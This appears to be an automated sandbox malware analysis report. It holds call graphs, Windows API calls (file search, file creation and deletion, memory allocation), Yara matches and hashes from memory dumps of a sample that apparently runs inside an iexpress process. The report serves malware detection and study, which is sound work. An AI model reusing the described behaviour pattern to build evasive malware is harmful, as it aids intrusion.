96499->96500 96500->96484 96502 304ac76 96501->96502 96503 304ac70 96501->96503 96504 3049c60 RtlAllocateHeap 96502->96504 96503->96483 96505 304ac9c 96504->96505 96505->96483 96507 3030292 96506->96507 96509 3047f00 96506->96509 96507->96492 96510 3047f1a 96509->96510 96513 5132c70 LdrInitializeThunk 96510->96513 96511 3047f42 96511->96507 96513->96511 96515 3036a60 96516 3036a7c 96515->96516 96519 3036acf 96515->96519 96518 3047c90 NtClose 96516->96518 96516->96519 96517 3036bf8 96522 3036a97 96518->96522 96519->96517 96526 3035e70 NtClose LdrInitializeThunk LdrInitializeThunk 96519->96526 96521 3036bd2 96521->96517 96527 3036040 NtClose LdrInitializeThunk LdrInitializeThunk 96521->96527 96525 3035e70 NtClose LdrInitializeThunk LdrInitializeThunk 96522->96525 96525->96519 96526->96521 96527->96517 96528 303f4a0 96529 303f4bd 96528->96529 96530 30340c0 LdrLoadDll 96529->96530 96531 303f4db 96530->96531 96532 3047160 96533 30471e4 96532->96533 96534 3047187 96532->96534 96537 5132ee0 LdrInitializeThunk 96533->96537 96535 3047215 96537->96535 96538 3040aa0 96539 3040abc 96538->96539 96540 3040ae4 96539->96540 96541 3040af8 96539->96541 96543 3047c90 NtClose 96540->96543 96542 3047c90 NtClose 96541->96542 96544 3040b01 96542->96544 96545 3040aed 96543->96545 96548 3049ca0 RtlAllocateHeap 96544->96548 96547 3040b0c 96548->96547 96549 3040621 96561 3047b20 96549->96561 96551 3040642 96552 3040675 96551->96552 96553 3040660 96551->96553 96555 3047c90 NtClose 96552->96555 96554 3047c90 NtClose 96553->96554 96556 3040669 96554->96556 96558 304067e 96555->96558 96557 30406aa 96558->96557 96559 3049b80 RtlFreeHeap 96558->96559 96560 304069e 96559->96560 96562 3047bb9 96561->96562 96564 3047b44 96561->96564 96563 3047bcf NtReadFile 96562->96563 96563->96551 96564->96551 96565 303926b 96566 303927a 96565->96566 96567 3039281 96566->96567 96568 3049b80 RtlFreeHeap 96566->96568 96568->96567 96569 303236a 96570 3032398 96569->96570 96571 3035be0 2 API calls 96570->96571 96572 30323a3 96571->96572 96573 3032cec 96574 3037430 2 API calls 96573->96574 96575 3032cfc 96574->96575 96576 3032d11 96575->96576 96577 3047c90 NtClose 96575->96577 96577->96576 96578 3035370 96579 30377b0 LdrInitializeThunk 96578->96579 96581 30353a0 96579->96581 96582 30353cc 96581->96582 96583 3037730 96581->96583 96584 3037774 96583->96584 96589 3037795 96584->96589 96590 3047020 96584->96590 96586 3037785 96587 30377a1 96586->96587 96588 3047c90 NtClose 96586->96588 96587->96581 96588->96589 96589->96581 96591 3047092 96590->96591 96593 3047047 96590->96593 96595 5134650 LdrInitializeThunk 96591->96595 96592 30470b7 96592->96586 96593->96586 96595->96592 96598 303baf0 96600 303bb19 96598->96600 96599 303bc1d 96600->96599 96601 303bbc3 FindFirstFileW 96600->96601 96601->96599 96603 303bbde 96601->96603 96602 303bc04 FindNextFileW 96602->96603 96604 303bc16 FindClose 96602->96604 96603->96602 96604->96599 96605 3040e30 96610 3040e3f 96605->96610 96606 3040ec6 96607 3040e83 96608 3049b80 RtlFreeHeap 96607->96608 96609 3040e93 96608->96609 96610->96606 96610->96607 96611 3040ec1 96610->96611 96612 3049b80 RtlFreeHeap 96611->96612 96612->96606 96613 30446b0 96614 304470d 96613->96614 96615 3044748 96614->96615 96618 3040730 96614->96618 96617 304472a 96619 304070b 96618->96619 96620 3047c90 NtClose 96619->96620 96622 3040789 96619->96622 96621 3040714 96620->96621 96621->96617 96622->96617

                                                          Executed Functions

                                                          Function 030296A0 Relevance: 34.1, Strings: 27, Instructions: 398COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 32 30296a0-3029a05 33 3029a16-3029a22 32->33 34 3029a07-3029a10 32->34 35 3029a32-3029a43 33->35 36 3029a24-3029a30 33->36 34->33 37 3029a54-3029a5e 35->37 36->34 38 3029a60-3029a72 37->38 39 3029a74-3029a7b 37->39 38->37 40 3029a82-3029a8c 39->40 42 3029ac0-3029ac9 40->42 43 3029a8e-3029aad 40->43 46 3029ae5-3029aef 42->46 47 3029acb-3029ae3 42->47 44 3029abe 43->44 45 3029aaf-3029ab8 43->45 44->40 45->44 48 3029b00-3029b0a 46->48 47->42 49 3029b5e-3029b67 48->49 50 3029b0c-3029b5c 48->50 52 3029de1-3029de8 49->52 53 3029b6d-3029b77 49->53 50->48 55 3029eea-3029ef3 52->55 56 3029dee-3029df2 52->56 54 3029b88-3029b91 53->54 59 3029b93-3029b9c 54->59 60 3029ba9-3029bb0 54->60 57 3029df4-3029e19 56->57 58 3029e1b-3029e1f 56->58 57->56 61 3029e21-3029e38 58->61 62 3029e3a call 3049810 58->62 63 3029ba7 59->63 64 3029b9e-3029ba4 59->64 65 3029bb2-3029bcf 60->65 66 3029bd1-3029bdb 60->66 61->58 70 3029e3f-3029e49 62->70 63->54 64->63 65->60 69 3029bec-3029bf8 66->69 71 3029bfa-3029c0c 69->71 72 3029c0e-3029c11 69->72 73 3029e5a-3029e66 70->73 71->69 74 3029c17-3029c1e 72->74 78 3029e77-3029e81 73->78 79 3029e68-3029e75 73->79 76 3029c20-3029c43 74->76 77 3029c45-3029c4f 74->77 76->74 80 3029c60-3029c6c 77->80 81 3029e92-3029e9b 78->81 79->73 83 3029c83-3029c8d 80->83 84 3029c6e-3029c81 80->84 85 3029eb1-3029eb8 81->85 86 3029e9d-3029eaf 81->86 90 3029c9e-3029caa 83->90 84->80 85->55 87 3029eba-3029ec6 85->87 86->81 91 3029ec8-3029ecc 87->91 92 3029ecd-3029ee8 87->92 93 3029cac-3029cbb 90->93 94 3029cbd-3029cc7 90->94 91->92 92->85 93->90 96 3029cd8-3029ce4 94->96 97 3029d06-3029d10 96->97 98 3029ce6-3029cf6 96->98 99 3029d21-3029d2a 97->99 100 3029d04 98->100 101 3029cf8-3029d01 98->101 102 3029d3c-3029d4b 99->102 103 3029d2c-3029d32 99->103 100->96 101->100 107 3029d52-3029d5f 102->107 108 3029d4d 102->108 105 3029d34-3029d37 103->105 106 3029d3a 103->106 105->106 106->99 110 3029d65-3029d7e 107->110 108->52 110->110 111 3029d80-3029d90 110->111 111->111 112 3029d92-3029d98 111->112 113 3029d9c-3029da6 112->113 114 3029da8-3029db8 113->114 115 3029ddc 113->115 116 3029dba-3029dc9 114->116 117 3029dcb-3029dd4 114->117 115->49 118 3029dda 116->118 117->118 118->113
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3695841773.0000000003020000.00000040.80000000.00040000.00000000.sdmp, Offset: 03020000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_3020000_iexpress.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID: %$4$5$64$9$9$=h$@$$D$I$Mc$QF$S$e$e($h$o$r$tG$u$u;$v:$z$}$~g$$=h$r
                                                          • API String ID: 0-418531064
                                                          • Opcode ID: f1755f99707a19a497d1f465b426ac49eae5926b0d2f57fcea23a3653cee2b2c
                                                          • Instruction ID: 255458894bf1faed398b13f854925083a88468ae8d71a897c7920cd49130457a
                                                          • Opcode Fuzzy Hash: f1755f99707a19a497d1f465b426ac49eae5926b0d2f57fcea23a3653cee2b2c
                                                          • Instruction Fuzzy Hash: 7C228CB0D06268CBEB64CF45C894BDDBBB2BB45308F1085D9C10E6B290CBB95AD9CF55
                                                          Function 0303BAF0 Relevance: 4.6, APIs: 3, Instructions: 106fileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • FindFirstFileW.KERNELBASE(?,00000000), ref: 0303BBD4
                                                          • FindNextFileW.KERNELBASE(?,00000010), ref: 0303BC0F
                                                          • FindClose.KERNELBASE(?), ref: 0303BC1A
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3695841773.0000000003020000.00000040.80000000.00040000.00000000.sdmp, Offset: 03020000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_3020000_iexpress.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: Find$File$CloseFirstNext
                                                          • String ID:
                                                          • API String ID: 3541575487-0
                                                          • Opcode ID: 548f6743acc6123b4cbe2a6029d9d08980014dbab0048e1db3381b04c3f0a9c5
                                                          • Instruction ID: 25e1e2dea3238ed8f337ed1ec660dc1bbe2122310f801c85780129e429bb34fb
                                                          • Opcode Fuzzy Hash: 548f6743acc6123b4cbe2a6029d9d08980014dbab0048e1db3381b04c3f0a9c5
                                                          • Instruction Fuzzy Hash: BA3174B5911308BBDB60DB64CC85FFB77BC9B85704F1444A9F909AB180DA70AB84CBA0
                                                          Function 030479C0 Relevance: 1.6, APIs: 1, Instructions: 98filenativeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • NtCreateFile.NTDLL(?,?,?,?,?,?,?,?,?,?,?), ref: 03047AB0
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3695841773.0000000003020000.00000040.80000000.00040000.00000000.sdmp, Offset: 03020000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_3020000_iexpress.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: CreateFile
                                                          • String ID:
                                                          • API String ID: 823142352-0
                                                          • Opcode ID: a99206af05e24986d4b3e3d83b38e7125a458b17e0bb4f3f917b91a443bd713e
                                                          • Instruction ID: fc25a01fbd846387ea4fb80147648c48264492223e551160b29e2d274684a029
                                                          • Opcode Fuzzy Hash: a99206af05e24986d4b3e3d83b38e7125a458b17e0bb4f3f917b91a443bd713e
                                                          • Instruction Fuzzy Hash: AB31F3B5A01209AFCB14DF98D880EEFB7F9AF8C714F108219F919A7340D730A951CBA5
                                                          Function 03047B20 Relevance: 1.6, APIs: 1, Instructions: 90filenativeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • NtReadFile.NTDLL(?,?,?,?,?,?,?,?,?), ref: 03047BF8
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3695841773.0000000003020000.00000040.80000000.00040000.00000000.sdmp, Offset: 03020000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_3020000_iexpress.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: FileRead
                                                          • String ID:
                                                          • API String ID: 2738559852-0
                                                          • Opcode ID: 82e4404b6507a9e39c6ace6c96ce96fb332538a6c2143705bade2d9ac4f5f779
                                                          • Instruction ID: 875e37fcf4e227b3de09f6542e6f9b147dd9fbeb03f471126599eb74c9a3ce15
                                                          • Opcode Fuzzy Hash: 82e4404b6507a9e39c6ace6c96ce96fb332538a6c2143705bade2d9ac4f5f779
                                                          • Instruction Fuzzy Hash: DC31D5B5A01209ABCB14DF99D880EEFB7B9AF8C714F108219FD18A7240D770A911CBA5
                                                          Function 03047DE0 Relevance: 1.6, APIs: 1, Instructions: 78memorynativeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • NtAllocateVirtualMemory.NTDLL(0303164E,?,03046A47,00000000,00000004,00003000,?,?,?,?,?,03046A47,0303164E,00000000,?,03040481), ref: 03047E9A
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3695841773.0000000003020000.00000040.80000000.00040000.00000000.sdmp, Offset: 03020000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_3020000_iexpress.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: AllocateMemoryVirtual
                                                          • String ID:
                                                          • API String ID: 2167126740-0
                                                          • Opcode ID: 741297d870dde1553aff3bc7fe9887949b50d92e8a7e10be9f463b6334f432d5
                                                          • Instruction ID: c1c9b0bbcc268a5664520619c75fb3a91e8883860044503b4f1cded7cbb12caf
                                                          • Opcode Fuzzy Hash: 741297d870dde1553aff3bc7fe9887949b50d92e8a7e10be9f463b6334f432d5
                                                          • Instruction Fuzzy Hash: 862139B5A01308ABDB14EF58DC81EEFB7B9EF89710F008519FD09AB240D771A910CBA5
                                                          Function 03047C00 Relevance: 1.6, APIs: 1, Instructions: 58filenativeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3695841773.0000000003020000.00000040.80000000.00040000.00000000.sdmp, Offset: 03020000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_3020000_iexpress.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: DeleteFile
                                                          • String ID:
                                                          • API String ID: 4033686569-0
                                                          • Opcode ID: 9218457e52e3d9cb55e89210577379dd6379d2ffea0c4d29068f58c76c47eead
                                                          • Instruction ID: 3a1d8e7e29ae8e39eef545d3a47e9964da08091201732431d213c1a1c6b4003b
                                                          • Opcode Fuzzy Hash: 9218457e52e3d9cb55e89210577379dd6379d2ffea0c4d29068f58c76c47eead
                                                          • Instruction Fuzzy Hash: 08015B76A42304BAD620EB68DC41FEB77ACDBC5710F004559FA099B280D7B17A5487E2
                                                          Function 03047C90 Relevance: 1.5, APIs: 1, Instructions: 25nativeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • NtClose.NTDLL(?,?,001F0001,?,00000000,?,00000000,00000104), ref: 03047CC7
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3695841773.0000000003020000.00000040.80000000.00040000.00000000.sdmp, Offset: 03020000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_3020000_iexpress.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: Close
                                                          • String ID:
                                                          • API String ID: 3535843008-0
                                                          • Opcode ID: a2081207709746c7e352efcb175eb21aecfb5cd68ea452dc6470ae81de21367b
                                                          • Instruction ID: 43d2feb3bdc03d13224e3cf633b49dd9b34e20b33bfa7698ad9fba6ff552de12
                                                          • Opcode Fuzzy Hash: a2081207709746c7e352efcb175eb21aecfb5cd68ea452dc6470ae81de21367b
                                                          • Instruction Fuzzy Hash: 9DE0863A2013147BC210FA59DC00FDBB75DEFC9750F008415FA09AB141C671BA0087F1
                                                          Function 05134650 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3712669732.00000000050C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050C0000, based on PE: true
                                                          • Associated: 00000010.00000002.3712669732.00000000051E9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.00000000051ED000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.000000000525E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_50c0000_iexpress.jbxd
                                                          Similarity
                                                          • API ID: InitializeThunk
                                                          • String ID:
                                                          • API String ID: 2994545307-0
                                                          • Opcode ID: 9833e687f0e74cb685de7abe6492a9c6861109492c3e238347e156ff9250b367
                                                          • Instruction ID: 413fa70ef68b6ac3fc502e111c39585b243b759cfff62619603e56f454f1888a
                                                          • Opcode Fuzzy Hash: 9833e687f0e74cb685de7abe6492a9c6861109492c3e238347e156ff9250b367
                                                          • Instruction Fuzzy Hash: DB900473701500534140715C4D444077015D7F13013F5D115F0555570CC75CCD55D77D
                                                          Function 05134340 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3712669732.00000000050C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050C0000, based on PE: true
                                                          • Associated: 00000010.00000002.3712669732.00000000051E9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.00000000051ED000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.000000000525E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_50c0000_iexpress.jbxd
                                                          Similarity
                                                          • API ID: InitializeThunk
                                                          • String ID:
                                                          • API String ID: 2994545307-0
                                                          • Opcode ID: b10264d36129adcf4a9fb00b3d4a74c478bc85503c5806ce2e0ade9118fc5e9f
                                                          • Instruction ID: 17b76ff284c5f41cdd1096484bd4c215bb604bf7186e5f1aa14795f25c73bd4e
                                                          • Opcode Fuzzy Hash: b10264d36129adcf4a9fb00b3d4a74c478bc85503c5806ce2e0ade9118fc5e9f
                                                          • Instruction Fuzzy Hash: 9A900232605800229140715849C4546401597E0301BA5D011E0425554C8B588A565761
                                                          Function 05132D10 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3712669732.00000000050C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050C0000, based on PE: true
                                                          • Associated: 00000010.00000002.3712669732.00000000051E9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.00000000051ED000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.000000000525E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_50c0000_iexpress.jbxd
                                                          Similarity
                                                          • API ID: InitializeThunk
                                                          • String ID:
                                                          • API String ID: 2994545307-0
                                                          • Opcode ID: 07b57163f775b6024c18718749a28d09c252973b6fd5ac98409fc143cfc05ab9
                                                          • Instruction ID: 09d66b02eec32a45cd6749d8bc6d6a58da8c9d0a5bef57a72d72f7becb835de6
                                                          • Opcode Fuzzy Hash: 07b57163f775b6024c18718749a28d09c252973b6fd5ac98409fc143cfc05ab9
                                                          • Instruction Fuzzy Hash: 0690022A21340012D1807158554860A001587D1202FE5E415A0016558CCA5989695721
                                                          Function 05132D30 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3712669732.00000000050C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050C0000, based on PE: true
                                                          • Associated: 00000010.00000002.3712669732.00000000051E9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.00000000051ED000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.000000000525E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_50c0000_iexpress.jbxd
                                                          Similarity
                                                          • API ID: InitializeThunk
                                                          • String ID:
                                                          • API String ID: 2994545307-0
                                                          • Opcode ID: ef56acad8399529a14266c9df03da2745b46fa888e3c7f7bc474d94ce96ffca0
                                                          • Instruction ID: a8f70cff0938bd8ca3a08646309c97e9ca5edac8f879739795726e7c38ac6a82
                                                          • Opcode Fuzzy Hash: ef56acad8399529a14266c9df03da2745b46fa888e3c7f7bc474d94ce96ffca0
                                                          • Instruction Fuzzy Hash: 2990022230140013D140715855586064015D7E1301FA5E011E0415554CDA5989565622
                                                          Function 05132DD0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3712669732.00000000050C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050C0000, based on PE: true
                                                          • Associated: 00000010.00000002.3712669732.00000000051E9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.00000000051ED000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.000000000525E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_50c0000_iexpress.jbxd
                                                          Similarity
                                                          • API ID: InitializeThunk
                                                          • String ID:
                                                          • API String ID: 2994545307-0
                                                          • Opcode ID: c31500dfd7de4b86ace6c75128dd841b3d9515401b998cbfb19b951d18d072ad
                                                          • Instruction ID: ea3bc9af6332c596c5821053b85a8ee7a8155a74080bbc198735d856dd7dff19
                                                          • Opcode Fuzzy Hash: c31500dfd7de4b86ace6c75128dd841b3d9515401b998cbfb19b951d18d072ad
                                                          • Instruction Fuzzy Hash: 8F900222242441625545B1584544507401697E02417E5D012A1415950C866A9956DA21
                                                          Function 05132DF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3712669732.00000000050C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050C0000, based on PE: true
                                                          • Associated: 00000010.00000002.3712669732.00000000051E9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.00000000051ED000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.000000000525E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_50c0000_iexpress.jbxd
                                                          Similarity
                                                          • API ID: InitializeThunk
                                                          • String ID:
                                                          • API String ID: 2994545307-0
                                                          • Opcode ID: 645f70f208c8bc70e05509d381ccf052eddf938c9dbad51b41fb35271cdd9c34
                                                          • Instruction ID: 076b2555771b682f9d30e20792a4db9ed9d199bef5f3829e782a3156b81f890f
                                                          • Opcode Fuzzy Hash: 645f70f208c8bc70e05509d381ccf052eddf938c9dbad51b41fb35271cdd9c34
                                                          • Instruction Fuzzy Hash: 8D90023220140423D11171584644707001987D0241FE5D412A0425558D979A8A52A521
                                                          Function 05132C70 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3712669732.00000000050C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050C0000, based on PE: true
                                                          • Associated: 00000010.00000002.3712669732.00000000051E9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.00000000051ED000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.000000000525E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_50c0000_iexpress.jbxd
                                                          Similarity
                                                          • API ID: InitializeThunk
                                                          • String ID:
                                                          • API String ID: 2994545307-0
                                                          • Opcode ID: 330b1023e880838f4607800e8fccfc40c1fe5c7c1e9bd1423d03b808e68c2221
                                                          • Instruction ID: 0aae6b2c001bdde5999b6ce95bc80ea4b6871a0327023d609f1b421ca5cb5918
                                                          • Opcode Fuzzy Hash: 330b1023e880838f4607800e8fccfc40c1fe5c7c1e9bd1423d03b808e68c2221
                                                          • Instruction Fuzzy Hash: 8290023220148812D1107158854474A001587D0301FA9D411A4425658D87D989917521
                                                          Function 05132C60 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3712669732.00000000050C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050C0000, based on PE: true
                                                          • Associated: 00000010.00000002.3712669732.00000000051E9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.00000000051ED000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.000000000525E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_50c0000_iexpress.jbxd
                                                          Similarity
                                                          • API ID: InitializeThunk
                                                          • String ID:
                                                          • API String ID: 2994545307-0
                                                          • Opcode ID: ca5303df0d719fb962af46e31037551cdbbfc26e302ec6a0a44fba2697eaf0db
                                                          • Instruction ID: a42829442ab7f0e155042f270b38d93b65cc0de6db14b88ec9eb83cc385ca4f2
                                                          • Opcode Fuzzy Hash: ca5303df0d719fb962af46e31037551cdbbfc26e302ec6a0a44fba2697eaf0db
                                                          • Instruction Fuzzy Hash: FA90023220140852D10071584544B46001587E0301FA5D016A0125654D8759C9517921
                                                          Function 05132CA0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3712669732.00000000050C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050C0000, based on PE: true
                                                          • Associated: 00000010.00000002.3712669732.00000000051E9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.00000000051ED000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.000000000525E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_50c0000_iexpress.jbxd
                                                          Similarity
                                                          • API ID: InitializeThunk
                                                          • String ID:
                                                          • API String ID: 2994545307-0
                                                          • Opcode ID: 09bcd1479a90d59b89d07b5e3a4263a2bbf5e6f14756214a792c7fc7e216827e
                                                          • Instruction ID: 840ccfb09967e82c254452921cafd47ad2444c715fb168bbabedb27085768c7f
                                                          • Opcode Fuzzy Hash: 09bcd1479a90d59b89d07b5e3a4263a2bbf5e6f14756214a792c7fc7e216827e
                                                          • Instruction Fuzzy Hash: 3790023220140412D10075985548646001587E0301FA5E011A5025555EC7A989916531
                                                          Function 05132F30 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3712669732.00000000050C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050C0000, based on PE: true
                                                          • Associated: 00000010.00000002.3712669732.00000000051E9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.00000000051ED000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.000000000525E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_50c0000_iexpress.jbxd
                                                          Similarity
                                                          • API ID: InitializeThunk
                                                          • String ID:
                                                          • API String ID: 2994545307-0
                                                          • Opcode ID: 9167e0d8fa47a2700fd2e21051a09950a9e9637cb50b320a7f4abc815ec7b476
                                                          • Instruction ID: c35a3f9000b571271a6631ca9c152567743c0ef67d90887c75d284d021ad0d45
                                                          • Opcode Fuzzy Hash: 9167e0d8fa47a2700fd2e21051a09950a9e9637cb50b320a7f4abc815ec7b476
                                                          • Instruction Fuzzy Hash: 2390026234140452D10071584554B060015C7E1301FA5D015E1065554D875DCD526526
                                                          Function 05132FB0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3712669732.00000000050C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050C0000, based on PE: true
                                                          • Associated: 00000010.00000002.3712669732.00000000051E9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.00000000051ED000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.000000000525E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_50c0000_iexpress.jbxd
                                                          Similarity
                                                          • API ID: InitializeThunk
                                                          • String ID:
                                                          • API String ID: 2994545307-0
                                                          • Opcode ID: 87b3f9310e98925b9558ecf02d0acc657edd4fde2e9d5532882ebfa569d7b266
                                                          • Instruction ID: 7a7a03ddae281a6042a3f343d2902648af8531be45565ad85712e9ed27fa20d5
                                                          • Opcode Fuzzy Hash: 87b3f9310e98925b9558ecf02d0acc657edd4fde2e9d5532882ebfa569d7b266
                                                          • Instruction Fuzzy Hash: 6E900222601400524140716889849064015ABE12117A5D121A0999550D869D89655A65
                                                          Function 05132FE0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3712669732.00000000050C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050C0000, based on PE: true
                                                          • Associated: 00000010.00000002.3712669732.00000000051E9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.00000000051ED000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.000000000525E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_50c0000_iexpress.jbxd
                                                          Similarity
                                                          • API ID: InitializeThunk
                                                          • String ID:
                                                          • API String ID: 2994545307-0
                                                          • Opcode ID: a054a68e6e739318ff778f30e2673fa4706931fc5a429f4e223611835af9fa5a
                                                          • Instruction ID: 253c3f40453d906e21bc14558caaaaee4892760c7d722efd18d98bdc84c72a75
                                                          • Opcode Fuzzy Hash: a054a68e6e739318ff778f30e2673fa4706931fc5a429f4e223611835af9fa5a
